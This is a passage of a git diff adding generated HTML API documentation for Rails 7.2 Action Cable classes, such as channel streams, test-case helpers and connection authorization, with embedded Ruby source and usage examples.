# File actioncable/lib/action_cable/channel/test_case.rb, line 29
+      def rejected?
+        subscription_rejected?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + start_periodic_timers() + +

+ + +
+

Make periodic timers no-op

+
+ + + +
+ Also aliased as: stop_periodic_timers +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/test_case.rb, line 46
+      def start_periodic_timers; end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + stop_all_streams() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/test_case.rb, line 37
+      def stop_all_streams
+        @_streams = []
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + stop_periodic_timers() + +

+ + +
+ +
+ + + + + +
+ Alias for: start_periodic_timers +
+ + + + +
+ +
+

+ + stream_from(broadcasting, *) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/test_case.rb, line 33
+      def stream_from(broadcasting, *)
+        streams << broadcasting
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + streams() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/test_case.rb, line 41
+      def streams
+        @_streams ||= []
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Channel/ConnectionStub.html b/src/7.2/classes/ActionCable/Channel/ConnectionStub.html new file mode 100644 index 0000000000..d3784d0096 --- /dev/null +++ b/src/7.2/classes/ActionCable/Channel/ConnectionStub.html @@ -0,0 +1,243 @@ +--- +title: ActionCable::Channel::ConnectionStub +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [R] + identifiers
+ [R] + logger
+ [R] + server
+ [R] + subscriptions
+ [R] + transmissions
+ + + + +

Class Public methods

+ +
+

+ + new(identifiers = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/test_case.rb, line 55
+      def initialize(identifiers = {})
+        @server = ActionCable.server
+        @transmissions = []
+
+        identifiers.each do |identifier, val|
+          define_singleton_method(identifier) { val }
+        end
+
+        @subscriptions = ActionCable::Connection::Subscriptions.new(self)
+        @identifiers = identifiers.keys
+        @logger = ActiveSupport::TaggedLogging.new ActiveSupport::Logger.new(StringIO.new)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + connection_identifier() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/test_case.rb, line 72
+      def connection_identifier
+        @connection_identifier ||= connection_gid(identifiers.filter_map { |id| send(id.to_sym) if id })
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + transmit(cable_message) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/test_case.rb, line 68
+      def transmit(cable_message)
+        transmissions << cable_message.with_indifferent_access
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Channel/Naming.html b/src/7.2/classes/ActionCable/Channel/Naming.html new file mode 100644 index 0000000000..e124525f0d --- /dev/null +++ b/src/7.2/classes/ActionCable/Channel/Naming.html @@ -0,0 +1,114 @@ +--- +title: ActionCable::Channel::Naming +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + channel_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/naming.rb, line 23
+      def channel_name
+        self.class.channel_name
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Channel/Naming/ClassMethods.html b/src/7.2/classes/ActionCable/Channel/Naming/ClassMethods.html new file mode 100644 index 0000000000..0c44c137f1 --- /dev/null +++ b/src/7.2/classes/ActionCable/Channel/Naming/ClassMethods.html @@ -0,0 +1,106 @@ +--- +title: ActionCable::Channel::Naming::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + channel_name() + +

+ + +
+

Returns the name of the channel, underscored, without the Channel ending. If the channel is in a namespace, then the namespaces are represented by single colon separators in the channel name.

+ +
ChatChannel.channel_name # => 'chat'
+Chats::AppearancesChannel.channel_name # => 'chats:appearances'
+FooChats::BarAppearancesChannel.channel_name # => 'foo_chats:bar_appearances'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/naming.rb, line 18
+        def channel_name
+          @channel_name ||= name.delete_suffix("Channel").gsub("::", ":").underscore
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Channel/NonInferrableChannelError.html b/src/7.2/classes/ActionCable/Channel/NonInferrableChannelError.html new file mode 100644 index 0000000000..56c0e097b4 --- /dev/null +++ b/src/7.2/classes/ActionCable/Channel/NonInferrableChannelError.html @@ -0,0 +1,109 @@ +--- +title: ActionCable::Channel::NonInferrableChannelError +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/test_case.rb, line 13
+      def initialize(name)
+        super "Unable to determine the channel to test from #{name}. " +
+          "You'll need to specify it using `tests YourChannel` in your " +
+          "test case definition."
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Channel/PeriodicTimers.html b/src/7.2/classes/ActionCable/Channel/PeriodicTimers.html new file mode 100644 index 0000000000..2b91fcfdc6 --- /dev/null +++ b/src/7.2/classes/ActionCable/Channel/PeriodicTimers.html @@ -0,0 +1,67 @@ +--- +title: ActionCable::Channel::PeriodicTimers +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Channel/PeriodicTimers/ClassMethods.html b/src/7.2/classes/ActionCable/Channel/PeriodicTimers/ClassMethods.html new file mode 100644 index 0000000000..cfdff9f7ff --- /dev/null +++ b/src/7.2/classes/ActionCable/Channel/PeriodicTimers/ClassMethods.html @@ -0,0 +1,129 @@ +--- +title: ActionCable::Channel::PeriodicTimers::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + periodically(callback_or_method_name = nil, every:, &block) + +

+ + +
+

Periodically performs a task on the channel, like updating an online user counter, polling a backend for new status messages, sending regular β€œheartbeat” messages, or doing some internal work and giving progress updates.

+ +

Pass a method name or lambda argument or provide a block to call. Specify the calling period in seconds using the every: keyword argument.

+ +
periodically :transmit_progress, every: 5.seconds
+
+periodically every: 3.minutes do
+  transmit action: :update_count, count: current_count
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/periodic_timers.rb, line 31
+        def periodically(callback_or_method_name = nil, every:, &block)
+          callback =
+            if block_given?
+              raise ArgumentError, "Pass a block or provide a callback arg, not both" if callback_or_method_name
+              block
+            else
+              case callback_or_method_name
+              when Proc
+                callback_or_method_name
+              when Symbol
+                -> { __send__ callback_or_method_name }
+              else
+                raise ArgumentError, "Expected a Symbol method name or a Proc, got #{callback_or_method_name.inspect}"
+              end
+            end
+
+          unless every.kind_of?(Numeric) && every > 0
+            raise ArgumentError, "Expected every: to be a positive number of seconds, got #{every.inspect}"
+          end
+
+          self.periodic_timers += [[ callback, every: every ]]
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Channel/Streams.html b/src/7.2/classes/ActionCable/Channel/Streams.html new file mode 100644 index 0000000000..803233c151 --- /dev/null +++ b/src/7.2/classes/ActionCable/Channel/Streams.html @@ -0,0 +1,389 @@ +--- +title: ActionCable::Channel::Streams +layout: default +--- +
+ +
+
+ +
+ +

Action Cable Channel Streams

+ +

Streams allow channels to route broadcastings to the subscriber. A broadcasting is, as discussed elsewhere, a pubsub queue where any data placed into it is automatically sent to the clients that are connected at that time. It’s purely an online queue, though. If you’re not streaming a broadcasting at the very moment it sends out an update, you will not get that update, even if you connect after it has been sent.

+ +

Most commonly, the streamed broadcast is sent straight to the subscriber on the client-side. The channel just acts as a connector between the two parties (the broadcaster and the channel subscriber). Here’s an example of a channel that allows subscribers to get all new comments on a given page:

+ +
class CommentsChannel < ApplicationCable::Channel
+  def follow(data)
+    stream_from "comments_for_#{data['recording_id']}"
+  end
+
+  def unfollow
+    stop_all_streams
+  end
+end
+
+ +

Based on the above example, the subscribers of this channel will get whatever data is put into the, let’s say, comments_for_45 broadcasting as soon as it’s put there.

+ +

An example broadcasting for this channel looks like so:

+ +
ActionCable.server.broadcast "comments_for_45", { author: 'DHH', content: 'Rails is just swell' }
+
+ +

If you have a stream that is related to a model, then the broadcasting used can be generated from the model and channel. The following example would subscribe to a broadcasting like comments:Z2lkOi8vVGVzdEFwcC9Qb3N0LzE.

+ +
class CommentsChannel < ApplicationCable::Channel
+  def subscribed
+    post = Post.find(params[:id])
+    stream_for post
+  end
+end
+
+ +

You can then broadcast to this channel using:

+ +
CommentsChannel.broadcast_to(@post, @comment)
+
+ +

If you don’t just want to parlay the broadcast unfiltered to the subscriber, you can also supply a callback that lets you alter what is sent out. The below example shows how you can use this to provide performance introspection in the process:

+ +
class ChatChannel < ApplicationCable::Channel
+  def subscribed
+    @room = Chat::Room[params[:room_number]]
+
+    stream_for @room, coder: ActiveSupport::JSON do |message|
+      if message['originated_at'].present?
+        elapsed_time = (Time.now.to_f - message['originated_at']).round(2)
+
+        ActiveSupport::Notifications.instrument :performance, measurement: 'Chat.message_delay', value: elapsed_time, action: :timing
+        logger.info "Message took #{elapsed_time}s to arrive"
+      end
+
+      transmit message
+    end
+  end
+end
+
+ +

You can stop streaming from all broadcasts by calling stop_all_streams.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + stop_all_streams() + +

+ + +
+

Unsubscribes all streams associated with this channel from the pubsub queue.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/streams.rb, line 135
+      def stop_all_streams
+        streams.each do |broadcasting, callback|
+          pubsub.unsubscribe broadcasting, callback
+          logger.info "#{self.class.name} stopped streaming from #{broadcasting}"
+        end.clear
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + stop_stream_for(model) + +

+ + +
+

Unsubscribes streams for the model.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/streams.rb, line 130
+      def stop_stream_for(model)
+        stop_stream_from(broadcasting_for(model))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + stop_stream_from(broadcasting) + +

+ + +
+

Unsubscribes streams from the named broadcasting.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/streams.rb, line 121
+      def stop_stream_from(broadcasting)
+        callback = streams.delete(broadcasting)
+        if callback
+          pubsub.unsubscribe(broadcasting, callback)
+          logger.info "#{self.class.name} stopped streaming from #{broadcasting}"
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + stream_for(model, callback = nil, coder: nil, &block) + +

+ + +
+

Start streaming the pubsub queue for the model in this channel. Optionally, you can pass a callback that’ll be used instead of the default of just transmitting the updates straight to the subscriber.

+ +

Pass coder: ActiveSupport::JSON to decode messages as JSON before passing to the callback. Defaults to coder: nil which does no decoding, passes raw messages.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/streams.rb, line 116
+      def stream_for(model, callback = nil, coder: nil, &block)
+        stream_from(broadcasting_for(model), callback || block, coder: coder)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + stream_from(broadcasting, callback = nil, coder: nil, &block) + +

+ + +
+

Start streaming from the named broadcasting pubsub queue. Optionally, you can pass a callback that’ll be used instead of the default of just transmitting the updates straight to the subscriber. Pass coder: ActiveSupport::JSON to decode messages as JSON before passing to the callback. Defaults to coder: nil which does no decoding, passes raw messages.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/streams.rb, line 90
+      def stream_from(broadcasting, callback = nil, coder: nil, &block)
+        broadcasting = String(broadcasting)
+
+        # Don't send the confirmation until pubsub#subscribe is successful
+        defer_subscription_confirmation!
+
+        # Build a stream handler by wrapping the user-provided callback with a decoder
+        # or defaulting to a JSON-decoding retransmitter.
+        handler = worker_pool_stream_handler(broadcasting, callback || block, coder: coder)
+        streams[broadcasting] = handler
+
+        connection.server.event_loop.post do
+          pubsub.subscribe(broadcasting, handler, lambda do
+            ensure_confirmation_sent
+            logger.info "#{self.class.name} is streaming from #{broadcasting}"
+          end)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + stream_or_reject_for(model) + +

+ + +
+

Calls stream_for with the given model if it’s present to start streaming, otherwise rejects the subscription.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/streams.rb, line 144
+      def stream_or_reject_for(model)
+        if model
+          stream_for model
+        else
+          reject
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Channel/TestCase.html b/src/7.2/classes/ActionCable/Channel/TestCase.html new file mode 100644 index 0000000000..9d39fb0a27 --- /dev/null +++ b/src/7.2/classes/ActionCable/Channel/TestCase.html @@ -0,0 +1,187 @@ +--- +title: ActionCable::Channel::TestCase +layout: default +--- +
+ +
+
+ +
+ +

Superclass for Action Cable channel functional tests.

+ +

Basic example

+ +

Functional tests are written as follows: 1. First, one uses the subscribe method to simulate subscription creation. 2. Then, one asserts whether the current state is as expected. β€œState” can be anything: transmitted messages, subscribed streams, etc.

+ +

For example:

+ +
class ChatChannelTest < ActionCable::Channel::TestCase
+  def test_subscribed_with_room_number
+    # Simulate a subscription creation
+    subscribe room_number: 1
+
+    # Asserts that the subscription was successfully created
+    assert subscription.confirmed?
+
+    # Asserts that the channel subscribes connection to a stream
+    assert_has_stream "chat_1"
+
+    # Asserts that the channel subscribes connection to a specific
+    # stream created for a model
+    assert_has_stream_for Room.find(1)
+  end
+
+  def test_does_not_stream_with_incorrect_room_number
+    subscribe room_number: -1
+
+    # Asserts that not streams was started
+    assert_no_streams
+  end
+
+  def test_does_not_subscribe_without_room_number
+    subscribe
+
+    # Asserts that the subscription was rejected
+    assert subscription.rejected?
+  end
+end
+
+ +

You can also perform actions: def test_perform_speak subscribe room_number: 1

+ +
  perform :speak, message: "Hello, Rails!"
+
+  assert_equal "Hello, Rails!", transmissions.last["text"]
+end
+
+ +

Special methods

+ +

ActionCable::Channel::TestCase will also automatically provide the following instance methods for use in the tests:

+
connection +
+

An ActionCable::Channel::ConnectionStub, representing the current HTTP connection.

+
subscription +
+

An instance of the current channel, created when you call subscribe.

+
transmissions +
+

A list of all messages that have been transmitted into the channel.

+
+ +

Channel is automatically inferred

+ +

ActionCable::Channel::TestCase will automatically infer the channel under test from the test class name. If the channel cannot be inferred from the test class name, you can explicitly set it with tests.

+ +
class SpecialEdgeCaseChannelTest < ActionCable::Channel::TestCase
+  tests SpecialChannel
+end
+
+ +

Specifying connection identifiers

+ +

You need to set up your connection manually to provide values for the identifiers. To do this just use:

+ +
stub_connection(user: users(:john))
+
+ +

Testing broadcasting

+ +

ActionCable::Channel::TestCase enhances ActionCable::TestHelper assertions (e.g. assert_broadcasts) to handle broadcasting to models:

+ +
# in your channel
+def speak(data)
+  broadcast_to room, text: data["message"]
+end
+
+def test_speak
+  subscribe room_id: rooms(:chat).id
+
+  assert_broadcast_on(rooms(:chat), text: "Hello, Rails!") do
+    perform :speak, message: "Hello, Rails!"
+  end
+end
+
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Channel/TestCase/Behavior.html b/src/7.2/classes/ActionCable/Channel/TestCase/Behavior.html new file mode 100644 index 0000000000..c779f75c67 --- /dev/null +++ b/src/7.2/classes/ActionCable/Channel/TestCase/Behavior.html @@ -0,0 +1,646 @@ +--- +title: ActionCable::Channel::TestCase::Behavior +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + +
CHANNEL_IDENTIFIER="test_stub"
+ + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + connection
+ [R] + subscription
+ + + + + +

Instance Public methods

+ +
+

+ + assert_broadcast_on(stream_or_object, *args) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/test_case.rb, line 282
+        def assert_broadcast_on(stream_or_object, *args)
+          super(broadcasting_for(stream_or_object), *args)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_broadcasts(stream_or_object, *args) + +

+ + +
+

Enhance TestHelper assertions to handle non-String broadcastings

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/test_case.rb, line 278
+        def assert_broadcasts(stream_or_object, *args)
+          super(broadcasting_for(stream_or_object), *args)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_has_no_stream(stream) + +

+ + +
+

Asserts that the specified stream has not been started.

+ +
def test_assert_no_started_stream
+  subscribe
+  assert_has_no_stream 'messages'
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/test_case.rb, line 326
+        def assert_has_no_stream(stream)
+          assert subscription.streams.exclude?(stream), "Stream #{stream} has been started"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_has_no_stream_for(object) + +

+ + +
+

Asserts that the specified stream for a model has not started.

+ +
def test_assert_no_started_stream_for
+  subscribe id: 41
+  assert_has_no_stream_for User.find(42)
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/test_case.rb, line 337
+        def assert_has_no_stream_for(object)
+          assert_has_no_stream(broadcasting_for(object))
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_has_stream(stream) + +

+ + +
+

Asserts that the specified stream has been started.

+ +
def test_assert_started_stream
+  subscribe
+  assert_has_stream 'messages'
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/test_case.rb, line 304
+        def assert_has_stream(stream)
+          assert subscription.streams.include?(stream), "Stream #{stream} has not been started"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_has_stream_for(object) + +

+ + +
+

Asserts that the specified stream for a model has started.

+ +
def test_assert_started_stream_for
+  subscribe id: 42
+  assert_has_stream_for User.find(42)
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/test_case.rb, line 315
+        def assert_has_stream_for(object)
+          assert_has_stream(broadcasting_for(object))
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_no_streams() + +

+ + +
+

Asserts that no streams have been started.

+ +
def test_assert_no_started_stream
+  subscribe
+  assert_no_streams
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/test_case.rb, line 293
+        def assert_no_streams
+          assert subscription.streams.empty?, "No streams started was expected, but #{subscription.streams.count} found"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + perform(action, data = {}) + +

+ + +
+

Perform action on a channel.

+ +

NOTE: Must be subscribed.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/test_case.rb, line 266
+        def perform(action, data = {})
+          check_subscribed!
+          subscription.perform_action(data.stringify_keys.merge("action" => action.to_s))
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + stub_connection(identifiers = {}) + +

+ + +
+

Set up test connection with the specified identifiers:

+ +
class ApplicationCable < ActionCable::Connection::Base
+  identified_by :user, :token
+end
+
+stub_connection(user: users[:john], token: 'my-secret-token')
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/test_case.rb, line 243
+        def stub_connection(identifiers = {})
+          @connection = ConnectionStub.new(identifiers)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + subscribe(params = {}) + +

+ + +
+

Subscribe to the channel under test. Optionally pass subscription parameters as a Hash.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/test_case.rb, line 249
+        def subscribe(params = {})
+          @connection ||= stub_connection
+          @subscription = self.class.channel_class.new(connection, CHANNEL_IDENTIFIER, params.with_indifferent_access)
+          @subscription.singleton_class.include(ChannelStub)
+          @subscription.subscribe_to_channel
+          @subscription
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + transmissions() + +

+ + +
+

Returns messages transmitted into channel

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/test_case.rb, line 272
+        def transmissions
+          # Return only directly sent message (via #transmit)
+          connection.transmissions.filter_map { |data| data["message"] }
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unsubscribe() + +

+ + +
+

Unsubscribe the subscription under test.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/test_case.rb, line 258
+        def unsubscribe
+          check_subscribed!
+          subscription.unsubscribe_from_channel
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Channel/TestCase/Behavior/ClassMethods.html b/src/7.2/classes/ActionCable/Channel/TestCase/Behavior/ClassMethods.html new file mode 100644 index 0000000000..5e3cd8a540 --- /dev/null +++ b/src/7.2/classes/ActionCable/Channel/TestCase/Behavior/ClassMethods.html @@ -0,0 +1,194 @@ +--- +title: ActionCable::Channel::TestCase::Behavior::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + channel_class() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/test_case.rb, line 219
+          def channel_class
+            if channel = self._channel_class
+              channel
+            else
+              tests determine_default_channel(name)
+            end
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + determine_default_channel(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/test_case.rb, line 227
+          def determine_default_channel(name)
+            channel = determine_constant_from_test_name(name) do |constant|
+              Class === constant && constant < ActionCable::Channel::Base
+            end
+            raise NonInferrableChannelError.new(name) if channel.nil?
+            channel
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tests(channel) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/test_case.rb, line 208
+          def tests(channel)
+            case channel
+            when String, Symbol
+              self._channel_class = channel.to_s.camelize.constantize
+            when Module
+              self._channel_class = channel
+            else
+              raise NonInferrableChannelError.new(channel)
+            end
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Connection.html b/src/7.2/classes/ActionCable/Connection.html new file mode 100644 index 0000000000..f4bc8c0c7b --- /dev/null +++ b/src/7.2/classes/ActionCable/Connection.html @@ -0,0 +1,124 @@ +--- +title: ActionCable::Connection +layout: default +--- +
+ +
+ + +
+
diff --git a/src/7.2/classes/ActionCable/Connection/Assertions.html b/src/7.2/classes/ActionCable/Connection/Assertions.html new file mode 100644 index 0000000000..1da52b6f25 --- /dev/null +++ b/src/7.2/classes/ActionCable/Connection/Assertions.html @@ -0,0 +1,105 @@ +--- +title: ActionCable::Connection::Assertions +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + assert_reject_connection(&block) + +

+ + +
+

Asserts that the connection is rejected (via reject_unauthorized_connection).

+ +
# Asserts that connection without user_id fails
+assert_reject_connection { connect params: { user_id: '' } }
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/test_case.rb, line 28
+      def assert_reject_connection(&block)
+        assert_raises(Authorization::UnauthorizedError, "Expected to reject connection but no rejection was made", &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Connection/Authorization.html b/src/7.2/classes/ActionCable/Connection/Authorization.html new file mode 100644 index 0000000000..b883836491 --- /dev/null +++ b/src/7.2/classes/ActionCable/Connection/Authorization.html @@ -0,0 +1,117 @@ +--- +title: ActionCable::Connection::Authorization +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + reject_unauthorized_connection() + +

+ + +
+

Closes the WebSocket connection if it is open and returns an β€œunauthorized” reason.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/authorization.rb, line 12
+      def reject_unauthorized_connection
+        logger.error "An unauthorized connection attempt was rejected"
+        raise UnauthorizedError
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Connection/Authorization/UnauthorizedError.html b/src/7.2/classes/ActionCable/Connection/Authorization/UnauthorizedError.html new file mode 100644 index 0000000000..d691a307f0 --- /dev/null +++ b/src/7.2/classes/ActionCable/Connection/Authorization/UnauthorizedError.html @@ -0,0 +1,60 @@ +--- +title: ActionCable::Connection::Authorization::UnauthorizedError +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Connection/Base.html b/src/7.2/classes/ActionCable/Connection/Base.html new file mode 100644 index 0000000000..13897e9b13 --- /dev/null +++ b/src/7.2/classes/ActionCable/Connection/Base.html @@ -0,0 +1,551 @@ +--- +title: ActionCable::Connection::Base +layout: default +--- +
+ +
+
+ +
+ +

Action Cable Connection Base

+ +

For every WebSocket connection the Action Cable server accepts, a Connection object will be instantiated. This instance becomes the parent of all of the channel subscriptions that are created from there on. Incoming messages are then routed to these channel subscriptions based on an identifier sent by the Action Cable consumer. The Connection itself does not deal with any specific application logic beyond authentication and authorization.

+ +

Here’s a basic example:

+ +
module ApplicationCable
+  class Connection < ActionCable::Connection::Base
+    identified_by :current_user
+
+    def connect
+      self.current_user = find_verified_user
+      logger.add_tags current_user.name
+    end
+
+    def disconnect
+      # Any cleanup work needed when the cable connection is cut.
+    end
+
+    private
+      def find_verified_user
+        User.find_by_identity(cookies.encrypted[:identity_id]) ||
+          reject_unauthorized_connection
+      end
+  end
+end
+
+ +

First, we declare that this connection can be identified by its current_user. This allows us to later be able to find all connections established for that current_user (and potentially disconnect them). You can declare as many identification indexes as you like. Declaring an identification means that an attr_accessor is automatically set for that key.

+ +

Second, we rely on the fact that the WebSocket connection is established with the cookies from the domain being sent along. This makes it easy to use signed cookies that were set when logging in via a web interface to authorize the WebSocket connection.

+ +

Finally, we add a tag to the connection-specific logger with the name of the current user to easily distinguish their messages in the log.

+ +

Pretty simple, eh?

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [R] + env
+ [R] + logger
+ [R] + protocol
+ [R] + server
+ [R] + subscriptions
+ [R] + worker_pool
+ + + + +

Class Public methods

+ +
+

+ + new(server, env, coder: ActiveSupport::JSON) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/base.rb, line 67
+      def initialize(server, env, coder: ActiveSupport::JSON)
+        @server, @env, @coder = server, env, coder
+
+        @worker_pool = server.worker_pool
+        @logger = new_tagged_logger
+
+        @websocket      = ActionCable::Connection::WebSocket.new(env, self, event_loop)
+        @subscriptions  = ActionCable::Connection::Subscriptions.new(self)
+        @message_buffer = ActionCable::Connection::MessageBuffer.new(self)
+
+        @_internal_subscriptions = nil
+        @started_at = Time.now
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + beat() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/base.rb, line 147
+      def beat
+        transmit type: ActionCable::INTERNAL[:message_types][:ping], message: Time.now.to_i
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + close(reason: nil, reconnect: true) + +

+ + +
+

Close the WebSocket connection.

+
+ + + + + + + + +
